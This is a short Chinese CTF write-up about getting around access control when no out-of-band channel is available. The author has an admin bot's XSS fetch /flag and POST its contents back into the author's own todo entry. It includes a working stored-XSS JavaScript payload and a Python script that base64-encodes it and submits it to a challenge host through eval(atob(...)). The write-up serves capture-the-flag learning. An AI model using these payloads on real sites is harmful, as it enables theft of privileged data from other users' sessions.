也是更新我对带外的思考了
越权与带外
没见过这种,开辟新思路了,还是做题不够多
- 没搞出来,dy牛,分析一下
- 第一波的/flag纯靠经验猜,砂岩了,不过就算有也想不到这样
- 一眼注入回显型,xss和ssti,xss有点希望(boss会看,可以获取他的cookie),但是bp collaborator和dnslog都不行,应该是不出网,不出网如何获取信息?而且这里/flag有访问控制
- 这里就来到今天的重点了
引入一个信道概念,从本质上看与网站交互的信道是单条的,带外是为了自己引进,如果带外不行的话,那如何在单条信道获取信息 -> 对方返回的内容,这里最明显的就是todo,接下来就是要让对方携带cookie返回在todo里面
访问控制: todo可以通过post进行修改,而且注意到每一个content都有一个对于的id -> 通过boss可以访问到/flag,然后插入到我的页面
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<script>
let url = "...";
fetch(url + "/flag")
.then((res) => res.text())
.then((res) => {
fetch(url + "/content/613cdda82446ae4b717db0853d7f6e16", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: "<h1>kc1zs4</h1>" + res,
}).then((res) => {});
});
</script>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import base64
import requests
content_url="http://0192d6fc41de7e048e7a39db597b5210.g66v.dg01.ciihw.cn:46620/con
tent/613cdda82446ae4b717db0853d7f6e16"
payload="fetch('/flag').then(res => {return res.text();}).then(res =>{return fetch('/content/613cdda82446ae4b717db0853d7f6e16',{method:'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body:'content=<br>binbin<br>'+res,}).then(res => {});});"
payload=base64.b64encode(payload.encode()).decode()
data={
'content':f"<script>window['eval'](atob('{payload}'));</script>"
}
res=requests.post(content_url,data=data)